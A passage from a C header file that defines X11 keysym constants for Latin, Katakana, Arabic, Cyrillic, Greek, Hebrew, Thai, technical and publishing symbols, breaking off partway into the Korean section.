0x0da #define XK_Ucircumflex 0x0db #define XK_Udiaeresis 0x0dc #define XK_Yacute 0x0dd #define XK_THORN 0x0de #define XK_Thorn 0x0de /* deprecated */ #define XK_ssharp 0x0df #define XK_agrave 0x0e0 #define XK_aacute 0x0e1 #define XK_acircumflex 0x0e2 #define XK_atilde 0x0e3 #define XK_adiaeresis 0x0e4 #define XK_aring 0x0e5 #define XK_ae 0x0e6 #define XK_ccedilla 0x0e7 #define XK_egrave 0x0e8 #define XK_eacute 0x0e9 #define XK_ecircumflex 0x0ea #define XK_ediaeresis 0x0eb #define XK_igrave 0x0ec #define XK_iacute 0x0ed #define XK_icircumflex 0x0ee #define XK_idiaeresis 0x0ef #define XK_eth 0x0f0 #define XK_ntilde 0x0f1 #define XK_ograve 0x0f2 #define XK_oacute 0x0f3 #define XK_ocircumflex 0x0f4 #define XK_otilde 0x0f5 #define XK_odiaeresis 0x0f6 #define XK_division 0x0f7 #define XK_oslash 0x0f8 #define XK_ugrave 0x0f9 #define XK_uacute 0x0fa #define XK_ucircumflex 0x0fb #define XK_udiaeresis 0x0fc #define XK_yacute 0x0fd #define XK_thorn 0x0fe #define XK_ydiaeresis 0x0ff #endif /* XK_LATIN1 */ /* * Latin 2 * Byte 3 = 1 */ #ifdef XK_LATIN2 #define XK_Aogonek 0x1a1 #define XK_breve 0x1a2 #define XK_Lstroke 0x1a3 #define XK_Lcaron 0x1a5 #define XK_Sacute 0x1a6 #define XK_Scaron 0x1a9 #define XK_Scedilla 0x1aa #define XK_Tcaron 0x1ab #define XK_Zacute 0x1ac #define XK_Zcaron 0x1ae #define XK_Zabovedot 0x1af #define XK_aogonek 0x1b1 #define XK_ogonek 0x1b2 #define XK_lstroke 0x1b3 #define XK_lcaron 0x1b5 #define XK_sacute 0x1b6 #define XK_caron 0x1b7 #define XK_scaron 0x1b9 #define XK_scedilla 0x1ba #define XK_tcaron 0x1bb #define XK_zacute 0x1bc #define XK_doubleacute 0x1bd #define XK_zcaron 0x1be #define XK_zabovedot 0x1bf #define XK_Racute 0x1c0 #define XK_Abreve 0x1c3 #define XK_Lacute 0x1c5 #define XK_Cacute 0x1c6 #define XK_Ccaron 0x1c8 #define XK_Eogonek 0x1ca #define XK_Ecaron 0x1cc #define XK_Dcaron 0x1cf #define XK_Dstroke 0x1d0 #define XK_Nacute 0x1d1 #define XK_Ncaron 0x1d2 #define XK_Odoubleacute 0x1d5 #define XK_Rcaron 0x1d8 #define XK_Uring 0x1d9 #define XK_Udoubleacute 0x1db #define XK_Tcedilla 0x1de #define XK_racute 0x1e0 #define XK_abreve 0x1e3 #define XK_lacute 0x1e5 #define XK_cacute 0x1e6 #define XK_ccaron 0x1e8 #define XK_eogonek 0x1ea #define XK_ecaron 0x1ec #define XK_dcaron 0x1ef #define XK_dstroke 0x1f0 #define XK_nacute 0x1f1 #define XK_ncaron 0x1f2 #define XK_odoubleacute 0x1f5 #define XK_udoubleacute 0x1fb #define XK_rcaron 0x1f8 #define XK_uring 0x1f9 #define XK_tcedilla 0x1fe #define XK_abovedot 0x1ff #endif /* XK_LATIN2 */ /* * Latin 3 * Byte 3 = 2 */ #ifdef XK_LATIN3 #define XK_Hstroke 0x2a1 #define XK_Hcircumflex 0x2a6 #define XK_Iabovedot 0x2a9 #define XK_Gbreve 0x2ab #define XK_Jcircumflex 0x2ac #define XK_hstroke 0x2b1 #define XK_hcircumflex 0x2b6 #define XK_idotless 0x2b9 #define XK_gbreve 0x2bb #define XK_jcircumflex 0x2bc #define XK_Cabovedot 0x2c5 #define XK_Ccircumflex 0x2c6 #define XK_Gabovedot 0x2d5 #define XK_Gcircumflex 0x2d8 #define XK_Ubreve 0x2dd #define XK_Scircumflex 0x2de #define XK_cabovedot 0x2e5 #define XK_ccircumflex 0x2e6 #define XK_gabovedot 0x2f5 #define XK_gcircumflex 0x2f8 #define XK_ubreve 0x2fd #define XK_scircumflex 0x2fe #endif /* XK_LATIN3 */ /* * Latin 4 * Byte 3 = 3 */ #ifdef XK_LATIN4 #define XK_kra 0x3a2 #define XK_kappa 0x3a2 /* deprecated */ #define XK_Rcedilla 0x3a3 #define XK_Itilde 0x3a5 #define XK_Lcedilla 0x3a6 #define XK_Emacron 0x3aa #define XK_Gcedilla 0x3ab #define XK_Tslash 0x3ac #define XK_rcedilla 0x3b3 #define XK_itilde 0x3b5 #define XK_lcedilla 0x3b6 #define XK_emacron 0x3ba #define XK_gcedilla 0x3bb #define XK_tslash 0x3bc #define XK_ENG 0x3bd #define XK_eng 0x3bf #define XK_Amacron 0x3c0 #define XK_Iogonek 0x3c7 #define XK_Eabovedot 0x3cc #define XK_Imacron 0x3cf #define XK_Ncedilla 0x3d1 #define XK_Omacron 0x3d2 #define XK_Kcedilla 0x3d3 #define XK_Uogonek 0x3d9 #define XK_Utilde 0x3dd #define XK_Umacron 0x3de #define XK_amacron 0x3e0 #define XK_iogonek 0x3e7 #define XK_eabovedot 0x3ec #define XK_imacron 0x3ef #define XK_ncedilla 0x3f1 #define XK_omacron 0x3f2 #define XK_kcedilla 0x3f3 #define XK_uogonek 0x3f9 #define XK_utilde 0x3fd #define XK_umacron 0x3fe #endif /* XK_LATIN4 */ /* * Katakana * Byte 3 = 4 */ #ifdef XK_KATAKANA #define XK_overline 0x47e #define XK_kana_fullstop 0x4a1 #define XK_kana_openingbracket 0x4a2 #define XK_kana_closingbracket 0x4a3 #define XK_kana_comma 0x4a4 #define XK_kana_conjunctive 0x4a5 #define XK_kana_middledot 0x4a5 /* deprecated */ #define XK_kana_WO 0x4a6 #define XK_kana_a 0x4a7 #define XK_kana_i 0x4a8 #define XK_kana_u 0x4a9 #define XK_kana_e 0x4aa #define XK_kana_o 0x4ab #define XK_kana_ya 0x4ac #define XK_kana_yu 0x4ad #define XK_kana_yo 0x4ae #define XK_kana_tsu 0x4af #define XK_kana_tu 0x4af /* deprecated */ #define XK_prolongedsound 0x4b0 #define XK_kana_A 0x4b1 #define XK_kana_I 0x4b2 #define XK_kana_U 0x4b3 #define XK_kana_E 0x4b4 #define XK_kana_O 0x4b5 #define XK_kana_KA 0x4b6 #define XK_kana_KI 0x4b7 #define XK_kana_KU 0x4b8 #define XK_kana_KE 0x4b9 #define XK_kana_KO 0x4ba #define XK_kana_SA 0x4bb #define XK_kana_SHI 0x4bc #define XK_kana_SU 0x4bd #define XK_kana_SE 0x4be #define XK_kana_SO 0x4bf #define XK_kana_TA 0x4c0 #define XK_kana_CHI 0x4c1 #define XK_kana_TI 0x4c1 /* deprecated */ #define XK_kana_TSU 0x4c2 #define XK_kana_TU 0x4c2 /* deprecated */ #define XK_kana_TE 0x4c3 #define XK_kana_TO 0x4c4 #define XK_kana_NA 0x4c5 #define XK_kana_NI 0x4c6 #define XK_kana_NU 0x4c7 #define XK_kana_NE 0x4c8 #define XK_kana_NO 0x4c9 #define XK_kana_HA 0x4ca #define XK_kana_HI 0x4cb #define XK_kana_FU 0x4cc #define XK_kana_HU 0x4cc /* deprecated */ #define XK_kana_HE 0x4cd #define XK_kana_HO 0x4ce #define XK_kana_MA 0x4cf #define XK_kana_MI 0x4d0 #define XK_kana_MU 0x4d1 #define XK_kana_ME 0x4d2 #define XK_kana_MO 0x4d3 #define XK_kana_YA 0x4d4 #define XK_kana_YU 0x4d5 #define XK_kana_YO 0x4d6 #define XK_kana_RA 0x4d7 #define XK_kana_RI 0x4d8 #define XK_kana_RU 0x4d9 #define XK_kana_RE 0x4da #define XK_kana_RO 0x4db #define XK_kana_WA 0x4dc #define XK_kana_N 0x4dd #define XK_voicedsound 0x4de #define XK_semivoicedsound 0x4df #define XK_kana_switch 0xFF7E /* Alias for mode_switch */ #endif /* XK_KATAKANA */ /* * Arabic * Byte 3 = 5 */ #ifdef XK_ARABIC #define XK_Arabic_comma 0x5ac #define XK_Arabic_semicolon 0x5bb #define XK_Arabic_question_mark 0x5bf #define XK_Arabic_hamza 0x5c1 #define XK_Arabic_maddaonalef 0x5c2 #define XK_Arabic_hamzaonalef 0x5c3 #define XK_Arabic_hamzaonwaw 0x5c4 #define XK_Arabic_hamzaunderalef 0x5c5 #define XK_Arabic_hamzaonyeh 0x5c6 #define XK_Arabic_alef 0x5c7 #define XK_Arabic_beh 0x5c8 #define XK_Arabic_tehmarbuta 0x5c9 #define XK_Arabic_teh 0x5ca #define XK_Arabic_theh 0x5cb #define XK_Arabic_jeem 0x5cc #define XK_Arabic_hah 0x5cd #define XK_Arabic_khah 0x5ce #define XK_Arabic_dal 0x5cf #define XK_Arabic_thal 0x5d0 #define XK_Arabic_ra 0x5d1 #define XK_Arabic_zain 0x5d2 #define XK_Arabic_seen 0x5d3 #define XK_Arabic_sheen 0x5d4 #define XK_Arabic_sad 0x5d5 #define XK_Arabic_dad 0x5d6 #define XK_Arabic_tah 0x5d7 #define XK_Arabic_zah 0x5d8 #define XK_Arabic_ain 0x5d9 #define XK_Arabic_ghain 0x5da #define XK_Arabic_tatweel 0x5e0 #define XK_Arabic_feh 0x5e1 #define XK_Arabic_qaf 0x5e2 #define XK_Arabic_kaf 0x5e3 #define XK_Arabic_lam 0x5e4 #define XK_Arabic_meem 0x5e5 #define XK_Arabic_noon 0x5e6 #define XK_Arabic_ha 0x5e7 #define XK_Arabic_heh 0x5e7 /* deprecated */ #define XK_Arabic_waw 0x5e8 #define XK_Arabic_alefmaksura 0x5e9 #define XK_Arabic_yeh 0x5ea #define XK_Arabic_fathatan 0x5eb #define XK_Arabic_dammatan 0x5ec #define XK_Arabic_kasratan 0x5ed #define XK_Arabic_fatha 0x5ee #define XK_Arabic_damma 0x5ef #define XK_Arabic_kasra 0x5f0 #define XK_Arabic_shadda 0x5f1 #define XK_Arabic_sukun 0x5f2 #define XK_Arabic_switch 0xFF7E /* Alias for mode_switch */ #endif /* XK_ARABIC */ /* * Cyrillic * Byte 3 = 6 */ #ifdef XK_CYRILLIC #define XK_Serbian_dje 0x6a1 #define XK_Macedonia_gje 0x6a2 #define XK_Cyrillic_io 0x6a3 #define XK_Ukrainian_ie 0x6a4 #define XK_Ukranian_je 0x6a4 /* deprecated */ #define XK_Macedonia_dse 0x6a5 #define XK_Ukrainian_i 0x6a6 #define XK_Ukranian_i 0x6a6 /* deprecated */ #define XK_Ukrainian_yi 0x6a7 #define XK_Ukranian_yi 0x6a7 /* deprecated */ #define XK_Cyrillic_je 0x6a8 #define XK_Serbian_je 0x6a8 /* deprecated */ #define XK_Cyrillic_lje 0x6a9 #define XK_Serbian_lje 0x6a9 /* deprecated */ #define XK_Cyrillic_nje 0x6aa #define XK_Serbian_nje 0x6aa /* deprecated */ #define XK_Serbian_tshe 0x6ab #define XK_Macedonia_kje 0x6ac #define XK_Byelorussian_shortu 0x6ae #define XK_Cyrillic_dzhe 0x6af #define XK_Serbian_dze 0x6af /* deprecated */ #define XK_numerosign 0x6b0 #define XK_Serbian_DJE 0x6b1 #define XK_Macedonia_GJE 0x6b2 #define XK_Cyrillic_IO 0x6b3 #define XK_Ukrainian_IE 0x6b4 #define XK_Ukranian_JE 0x6b4 /* deprecated */ #define XK_Macedonia_DSE 0x6b5 #define XK_Ukrainian_I 0x6b6 #define XK_Ukranian_I 0x6b6 /* deprecated */ #define XK_Ukrainian_YI 0x6b7 #define XK_Ukranian_YI 0x6b7 /* deprecated */ #define XK_Cyrillic_JE 0x6b8 #define XK_Serbian_JE 0x6b8 /* deprecated */ #define XK_Cyrillic_LJE 0x6b9 #define XK_Serbian_LJE 0x6b9 /* deprecated */ #define XK_Cyrillic_NJE 0x6ba #define XK_Serbian_NJE 0x6ba /* deprecated */ #define XK_Serbian_TSHE 0x6bb #define XK_Macedonia_KJE 0x6bc #define XK_Byelorussian_SHORTU 0x6be #define XK_Cyrillic_DZHE 0x6bf #define XK_Serbian_DZE 0x6bf /* deprecated */ #define XK_Cyrillic_yu 0x6c0 #define XK_Cyrillic_a 0x6c1 #define XK_Cyrillic_be 0x6c2 #define XK_Cyrillic_tse 0x6c3 #define XK_Cyrillic_de 0x6c4 #define XK_Cyrillic_ie 0x6c5 #define XK_Cyrillic_ef 0x6c6 #define XK_Cyrillic_ghe 0x6c7 #define XK_Cyrillic_ha 0x6c8 #define XK_Cyrillic_i 0x6c9 #define XK_Cyrillic_shorti 0x6ca #define XK_Cyrillic_ka 0x6cb #define XK_Cyrillic_el 0x6cc #define XK_Cyrillic_em 0x6cd #define XK_Cyrillic_en 0x6ce #define XK_Cyrillic_o 0x6cf #define XK_Cyrillic_pe 0x6d0 #define XK_Cyrillic_ya 0x6d1 #define XK_Cyrillic_er 0x6d2 #define XK_Cyrillic_es 0x6d3 #define XK_Cyrillic_te 0x6d4 #define XK_Cyrillic_u 0x6d5 #define XK_Cyrillic_zhe 0x6d6 #define XK_Cyrillic_ve 0x6d7 #define XK_Cyrillic_softsign 0x6d8 #define XK_Cyrillic_yeru 0x6d9 #define XK_Cyrillic_ze 0x6da #define XK_Cyrillic_sha 0x6db #define XK_Cyrillic_e 0x6dc #define XK_Cyrillic_shcha 0x6dd #define XK_Cyrillic_che 0x6de #define XK_Cyrillic_hardsign 0x6df #define XK_Cyrillic_YU 0x6e0 #define XK_Cyrillic_A 0x6e1 #define XK_Cyrillic_BE 0x6e2 #define XK_Cyrillic_TSE 0x6e3 #define XK_Cyrillic_DE 0x6e4 #define XK_Cyrillic_IE 0x6e5 #define XK_Cyrillic_EF 0x6e6 #define XK_Cyrillic_GHE 0x6e7 #define XK_Cyrillic_HA 0x6e8 #define XK_Cyrillic_I 0x6e9 #define XK_Cyrillic_SHORTI 0x6ea #define XK_Cyrillic_KA 0x6eb #define XK_Cyrillic_EL 0x6ec #define XK_Cyrillic_EM 0x6ed #define XK_Cyrillic_EN 0x6ee #define XK_Cyrillic_O 0x6ef #define XK_Cyrillic_PE 0x6f0 #define XK_Cyrillic_YA 0x6f1 #define XK_Cyrillic_ER 0x6f2 #define XK_Cyrillic_ES 0x6f3 #define XK_Cyrillic_TE 0x6f4 #define XK_Cyrillic_U 0x6f5 #define XK_Cyrillic_ZHE 0x6f6 #define XK_Cyrillic_VE 0x6f7 #define XK_Cyrillic_SOFTSIGN 0x6f8 #define XK_Cyrillic_YERU 0x6f9 #define XK_Cyrillic_ZE 0x6fa #define XK_Cyrillic_SHA 0x6fb #define XK_Cyrillic_E 0x6fc #define XK_Cyrillic_SHCHA 0x6fd #define XK_Cyrillic_CHE 0x6fe #define XK_Cyrillic_HARDSIGN 0x6ff #endif /* XK_CYRILLIC */ /* * Greek * Byte 3 = 7 */ #ifdef XK_GREEK #define XK_Greek_ALPHAaccent 0x7a1 #define XK_Greek_EPSILONaccent 0x7a2 #define XK_Greek_ETAaccent 0x7a3 #define XK_Greek_IOTAaccent 0x7a4 #define XK_Greek_IOTAdieresis 0x7a5 #define XK_Greek_OMICRONaccent 0x7a7 #define XK_Greek_UPSILONaccent 0x7a8 #define XK_Greek_UPSILONdieresis 0x7a9 #define XK_Greek_OMEGAaccent 0x7ab #define XK_Greek_accentdieresis 0x7ae #define XK_Greek_horizbar 0x7af #define XK_Greek_alphaaccent 0x7b1 #define XK_Greek_epsilonaccent 0x7b2 #define XK_Greek_etaaccent 0x7b3 #define XK_Greek_iotaaccent 0x7b4 #define XK_Greek_iotadieresis 0x7b5 #define XK_Greek_iotaaccentdieresis 0x7b6 #define XK_Greek_omicronaccent 0x7b7 #define XK_Greek_upsilonaccent 0x7b8 #define XK_Greek_upsilondieresis 0x7b9 #define XK_Greek_upsilonaccentdieresis 0x7ba #define XK_Greek_omegaaccent 0x7bb #define XK_Greek_ALPHA 0x7c1 #define XK_Greek_BETA 0x7c2 #define XK_Greek_GAMMA 0x7c3 #define XK_Greek_DELTA 0x7c4 #define XK_Greek_EPSILON 0x7c5 #define XK_Greek_ZETA 0x7c6 #define XK_Greek_ETA 0x7c7 #define XK_Greek_THETA 0x7c8 #define XK_Greek_IOTA 0x7c9 #define XK_Greek_KAPPA 0x7ca #define XK_Greek_LAMDA 0x7cb #define XK_Greek_LAMBDA 0x7cb #define XK_Greek_MU 0x7cc #define XK_Greek_NU 0x7cd #define XK_Greek_XI 0x7ce #define XK_Greek_OMICRON 0x7cf #define XK_Greek_PI 0x7d0 #define XK_Greek_RHO 0x7d1 #define XK_Greek_SIGMA 0x7d2 #define XK_Greek_TAU 0x7d4 #define XK_Greek_UPSILON 0x7d5 #define XK_Greek_PHI 0x7d6 #define XK_Greek_CHI 0x7d7 #define XK_Greek_PSI 0x7d8 #define XK_Greek_OMEGA 0x7d9 #define XK_Greek_alpha 0x7e1 #define XK_Greek_beta 0x7e2 #define XK_Greek_gamma 0x7e3 #define XK_Greek_delta 0x7e4 #define XK_Greek_epsilon 0x7e5 #define XK_Greek_zeta 0x7e6 #define XK_Greek_eta 0x7e7 #define XK_Greek_theta 0x7e8 #define XK_Greek_iota 0x7e9 #define XK_Greek_kappa 0x7ea #define XK_Greek_lamda 0x7eb #define XK_Greek_lambda 0x7eb #define XK_Greek_mu 0x7ec #define XK_Greek_nu 0x7ed #define XK_Greek_xi 0x7ee #define XK_Greek_omicron 0x7ef #define XK_Greek_pi 0x7f0 #define XK_Greek_rho 0x7f1 #define XK_Greek_sigma 0x7f2 #define XK_Greek_finalsmallsigma 0x7f3 #define XK_Greek_tau 0x7f4 #define XK_Greek_upsilon 0x7f5 #define XK_Greek_phi 0x7f6 #define XK_Greek_chi 0x7f7 #define XK_Greek_psi 0x7f8 #define XK_Greek_omega 0x7f9 #define XK_Greek_switch 0xFF7E /* Alias for mode_switch */ #endif /* XK_GREEK */ /* * Technical * Byte 3 = 8 */ #ifdef XK_TECHNICAL #define XK_leftradical 0x8a1 #define XK_topleftradical 0x8a2 #define XK_horizconnector 0x8a3 #define XK_topintegral 0x8a4 #define XK_botintegral 0x8a5 #define XK_vertconnector 0x8a6 #define XK_topleftsqbracket 0x8a7 #define XK_botleftsqbracket 0x8a8 #define XK_toprightsqbracket 0x8a9 #define XK_botrightsqbracket 0x8aa #define XK_topleftparens 0x8ab #define XK_botleftparens 0x8ac #define XK_toprightparens 0x8ad #define XK_botrightparens 0x8ae #define XK_leftmiddlecurlybrace 0x8af #define XK_rightmiddlecurlybrace 0x8b0 #define XK_topleftsummation 0x8b1 #define XK_botleftsummation 0x8b2 #define XK_topvertsummationconnector 0x8b3 #define XK_botvertsummationconnector 0x8b4 #define XK_toprightsummation 0x8b5 #define XK_botrightsummation 0x8b6 #define XK_rightmiddlesummation 0x8b7 #define XK_lessthanequal 0x8bc #define XK_notequal 0x8bd #define XK_greaterthanequal 0x8be #define XK_integral 0x8bf #define XK_therefore 0x8c0 #define XK_variation 0x8c1 #define XK_infinity 0x8c2 #define XK_nabla 0x8c5 #define XK_approximate 0x8c8 #define XK_similarequal 0x8c9 #define XK_ifonlyif 0x8cd #define XK_implies 0x8ce #define XK_identical 0x8cf #define XK_radical 0x8d6 #define XK_includedin 0x8da #define XK_includes 0x8db #define XK_intersection 0x8dc #define XK_union 0x8dd #define XK_logicaland 0x8de #define XK_logicalor 0x8df #define XK_partialderivative 0x8ef #define XK_function 0x8f6 #define XK_leftarrow 0x8fb #define XK_uparrow 0x8fc #define XK_rightarrow 0x8fd #define XK_downarrow 0x8fe #endif /* XK_TECHNICAL */ /* * Special * Byte 3 = 9 */ #ifdef XK_SPECIAL #define XK_blank 0x9df #define XK_soliddiamond 0x9e0 #define XK_checkerboard 0x9e1 #define XK_ht 0x9e2 #define XK_ff 0x9e3 #define XK_cr 0x9e4 #define XK_lf 0x9e5 #define XK_nl 0x9e8 #define XK_vt 0x9e9 #define XK_lowrightcorner 0x9ea #define XK_uprightcorner 0x9eb #define XK_upleftcorner 0x9ec #define XK_lowleftcorner 0x9ed #define XK_crossinglines 0x9ee #define XK_horizlinescan1 0x9ef #define XK_horizlinescan3 0x9f0 #define XK_horizlinescan5 0x9f1 #define XK_horizlinescan7 0x9f2 #define XK_horizlinescan9 0x9f3 #define XK_leftt 0x9f4 #define XK_rightt 0x9f5 #define XK_bott 0x9f6 #define XK_topt 0x9f7 #define XK_vertbar 0x9f8 #endif /* XK_SPECIAL */ /* * Publishing * Byte 3 = a */ #ifdef XK_PUBLISHING #define XK_emspace 0xaa1 #define XK_enspace 0xaa2 #define XK_em3space 0xaa3 #define XK_em4space 0xaa4 #define XK_digitspace 0xaa5 #define XK_punctspace 0xaa6 #define XK_thinspace 0xaa7 #define XK_hairspace 0xaa8 #define XK_emdash 0xaa9 #define XK_endash 0xaaa #define XK_signifblank 0xaac #define XK_ellipsis 0xaae #define XK_doubbaselinedot 0xaaf #define XK_onethird 0xab0 #define XK_twothirds 0xab1 #define XK_onefifth 0xab2 #define XK_twofifths 0xab3 #define XK_threefifths 0xab4 #define XK_fourfifths 0xab5 #define XK_onesixth 0xab6 #define XK_fivesixths 0xab7 #define XK_careof 0xab8 #define XK_figdash 0xabb #define XK_leftanglebracket 0xabc #define XK_decimalpoint 0xabd #define XK_rightanglebracket 0xabe #define XK_marker 0xabf #define XK_oneeighth 0xac3 #define XK_threeeighths 0xac4 #define XK_fiveeighths 0xac5 #define XK_seveneighths 0xac6 #define XK_trademark 0xac9 #define XK_signaturemark 0xaca #define XK_trademarkincircle 0xacb #define XK_leftopentriangle 0xacc #define XK_rightopentriangle 0xacd #define XK_emopencircle 0xace #define XK_emopenrectangle 0xacf #define XK_leftsinglequotemark 0xad0 #define XK_rightsinglequotemark 0xad1 #define XK_leftdoublequotemark 0xad2 #define XK_rightdoublequotemark 0xad3 #define XK_prescription 0xad4 #define XK_minutes 0xad6 #define XK_seconds 0xad7 #define XK_latincross 0xad9 #define XK_hexagram 0xada #define XK_filledrectbullet 0xadb #define XK_filledlefttribullet 0xadc #define XK_filledrighttribullet 0xadd #define XK_emfilledcircle 0xade #define XK_emfilledrect 0xadf #define XK_enopencircbullet 0xae0 #define XK_enopensquarebullet 0xae1 #define XK_openrectbullet 0xae2 #define XK_opentribulletup 0xae3 #define XK_opentribulletdown 0xae4 #define XK_openstar 0xae5 #define XK_enfilledcircbullet 0xae6 #define XK_enfilledsqbullet 0xae7 #define XK_filledtribulletup 0xae8 #define XK_filledtribulletdown 0xae9 #define XK_leftpointer 0xaea #define XK_rightpointer 0xaeb #define XK_club 0xaec #define XK_diamond 0xaed #define XK_heart 0xaee #define XK_maltesecross 0xaf0 #define XK_dagger 0xaf1 #define XK_doubledagger 0xaf2 #define XK_checkmark 0xaf3 #define XK_ballotcross 0xaf4 #define XK_musicalsharp 0xaf5 #define XK_musicalflat 0xaf6 #define XK_malesymbol 0xaf7 #define XK_femalesymbol 0xaf8 #define XK_telephone 0xaf9 #define XK_telephonerecorder 0xafa #define XK_phonographcopyright 0xafb #define XK_caret 0xafc #define XK_singlelowquotemark 0xafd #define XK_doublelowquotemark 0xafe #define XK_cursor 0xaff #endif /* XK_PUBLISHING */ /* * APL * Byte 3 = b */ #ifdef XK_APL #define XK_leftcaret 0xba3 #define XK_rightcaret 0xba6 #define XK_downcaret 0xba8 #define XK_upcaret 0xba9 #define XK_overbar 0xbc0 #define XK_downtack 0xbc2 #define XK_upshoe 0xbc3 #define XK_downstile 0xbc4 #define XK_underbar 0xbc6 #define XK_jot 0xbca #define XK_quad 0xbcc #define XK_uptack 0xbce #define XK_circle 0xbcf #define XK_upstile 0xbd3 #define XK_downshoe 0xbd6 #define XK_rightshoe 0xbd8 #define XK_leftshoe 0xbda #define XK_lefttack 0xbdc #define XK_righttack 0xbfc #endif /* XK_APL */ /* * Hebrew * Byte 3 = c */ #ifdef XK_HEBREW #define XK_hebrew_doublelowline 0xcdf #define XK_hebrew_aleph 0xce0 #define XK_hebrew_bet 0xce1 #define XK_hebrew_beth 0xce1 /* deprecated */ #define XK_hebrew_gimel 0xce2 #define XK_hebrew_gimmel 0xce2 /* deprecated */ #define XK_hebrew_dalet 0xce3 #define XK_hebrew_daleth 0xce3 /* deprecated */ #define XK_hebrew_he 0xce4 #define XK_hebrew_waw 0xce5 #define XK_hebrew_zain 0xce6 #define XK_hebrew_zayin 0xce6 /* deprecated */ #define XK_hebrew_chet 0xce7 #define XK_hebrew_het 0xce7 /* deprecated */ #define XK_hebrew_tet 0xce8 #define XK_hebrew_teth 0xce8 /* deprecated */ #define XK_hebrew_yod 0xce9 #define XK_hebrew_finalkaph 0xcea #define XK_hebrew_kaph 0xceb #define XK_hebrew_lamed 0xcec #define XK_hebrew_finalmem 0xced #define XK_hebrew_mem 0xcee #define XK_hebrew_finalnun 0xcef #define XK_hebrew_nun 0xcf0 #define XK_hebrew_samech 0xcf1 #define XK_hebrew_samekh 0xcf1 /* deprecated */ #define XK_hebrew_ayin 0xcf2 #define XK_hebrew_finalpe 0xcf3 #define XK_hebrew_pe 0xcf4 #define XK_hebrew_finalzade 0xcf5 #define XK_hebrew_finalzadi 0xcf5 /* deprecated */ #define XK_hebrew_zade 0xcf6 #define XK_hebrew_zadi 0xcf6 /* deprecated */ #define XK_hebrew_qoph 0xcf7 #define XK_hebrew_kuf 0xcf7 /* deprecated */ #define XK_hebrew_resh 0xcf8 #define XK_hebrew_shin 0xcf9 #define XK_hebrew_taw 0xcfa #define XK_hebrew_taf 0xcfa /* deprecated */ #define XK_Hebrew_switch 0xFF7E /* Alias for mode_switch */ #endif /* XK_HEBREW */ /* * Thai * Byte 3 = d */ #ifdef XK_THAI #define XK_Thai_kokai 0xda1 #define XK_Thai_khokhai 0xda2 #define XK_Thai_khokhuat 0xda3 #define XK_Thai_khokhwai 0xda4 #define XK_Thai_khokhon 0xda5 #define XK_Thai_khorakhang 0xda6 #define XK_Thai_ngongu 0xda7 #define XK_Thai_chochan 0xda8 #define XK_Thai_choching 0xda9 #define XK_Thai_chochang 0xdaa #define XK_Thai_soso 0xdab #define XK_Thai_chochoe 0xdac #define XK_Thai_yoying 0xdad #define XK_Thai_dochada 0xdae #define XK_Thai_topatak 0xdaf #define XK_Thai_thothan 0xdb0 #define XK_Thai_thonangmontho 0xdb1 #define XK_Thai_thophuthao 0xdb2 #define XK_Thai_nonen 0xdb3 #define XK_Thai_dodek 0xdb4 #define XK_Thai_totao 0xdb5 #define XK_Thai_thothung 0xdb6 #define XK_Thai_thothahan 0xdb7 #define XK_Thai_thothong 0xdb8 #define XK_Thai_nonu 0xdb9 #define XK_Thai_bobaimai 0xdba #define XK_Thai_popla 0xdbb #define XK_Thai_phophung 0xdbc #define XK_Thai_fofa 0xdbd #define XK_Thai_phophan 0xdbe #define XK_Thai_fofan 0xdbf #define XK_Thai_phosamphao 0xdc0 #define XK_Thai_moma 0xdc1 #define XK_Thai_yoyak 0xdc2 #define XK_Thai_rorua 0xdc3 #define XK_Thai_ru 0xdc4 #define XK_Thai_loling 0xdc5 #define XK_Thai_lu 0xdc6 #define XK_Thai_wowaen 0xdc7 #define XK_Thai_sosala 0xdc8 #define XK_Thai_sorusi 0xdc9 #define XK_Thai_sosua 0xdca #define XK_Thai_hohip 0xdcb #define XK_Thai_lochula 0xdcc #define XK_Thai_oang 0xdcd #define XK_Thai_honokhuk 0xdce #define XK_Thai_paiyannoi 0xdcf #define XK_Thai_saraa 0xdd0 #define XK_Thai_maihanakat 0xdd1 #define XK_Thai_saraaa 0xdd2 #define XK_Thai_saraam 0xdd3 #define XK_Thai_sarai 0xdd4 #define XK_Thai_saraii 0xdd5 #define XK_Thai_saraue 0xdd6 #define XK_Thai_sarauee 0xdd7 #define XK_Thai_sarau 0xdd8 #define XK_Thai_sarauu 0xdd9 #define XK_Thai_phinthu 0xdda #define XK_Thai_maihanakat_maitho 0xdde #define XK_Thai_baht 0xddf #define XK_Thai_sarae 0xde0 #define XK_Thai_saraae 0xde1 #define XK_Thai_sarao 0xde2 #define XK_Thai_saraaimaimuan 0xde3 #define XK_Thai_saraaimaimalai 0xde4 #define XK_Thai_lakkhangyao 0xde5 #define XK_Thai_maiyamok 0xde6 #define XK_Thai_maitaikhu 0xde7 #define XK_Thai_maiek 0xde8 #define XK_Thai_maitho 0xde9 #define XK_Thai_maitri 0xdea #define XK_Thai_maichattawa 0xdeb #define XK_Thai_thanthakhat 0xdec #define XK_Thai_nikhahit 0xded #define XK_Thai_leksun 0xdf0 #define XK_Thai_leknung 0xdf1 #define XK_Thai_leksong 0xdf2 #define XK_Thai_leksam 0xdf3 #define XK_Thai_leksi 0xdf4 #define XK_Thai_lekha 0xdf5 #define XK_Thai_lekhok 0xdf6 #define XK_Thai_lekchet 0xdf7 #define XK_Thai_lekpaet 0xdf8 #define XK_Thai_lekkao 0xdf9 #endif /* XK_THAI */ /* * Korean * Byte 3 = e */ #ifdef XK_KOREAN #define XK_Hangul 0xff31 /* Hangul start/stop(toggle) */ #define XK_Hangul_Start 0xff32 /* Hangul start */ #define XK_Hangul_End 0xff33 /* Hangul end, English start */ #define XK_Hangul_Hanja 0xff34 /* Start Hangul->Hanja Conversion */ #define XK_Hangul_Jamo 0xff35 /* Hangul Jamo mode */ #define XK_Hangul_Romaja 0xff36 /* Hangul Romaja mode */ #define XK_Hangul_Codeinput 0xff37 /* Hangul code input mode */ #define XK_Hangul_Jeonja 0xff38 /* Jeonja mode */ #define XK_Hangul_Banja 0xff39 /* Banja mode */ #define XK_Hangul_PreHanja 0xff3a /* Pre Hanja conversion */ #define XK_Hangul_PostHanja 0xff3b /* Post Hanja conversion */ #define XK_Hangul_SingleCandidate 0xff3c /* Single candidate */ #define XK_Hangul_MultipleCandidate 0xff3d /* Multiple candidate */ #define XK_Hangul_PreviousCandidate 0xff3e /* Previous candidate */ #define XK_Hangul_Special 0xff3f /* Special symbols */ #define XK_Hangul_switch 0xFF7E /* Alias for mode_switch */ /* Hangul Consonant Characters */ #define XK_Hangul_Kiyeog 0xea1 #define XK_Hangul_SsangKiyeog 0xea2 #define XK_Hangul_KiyeogSios 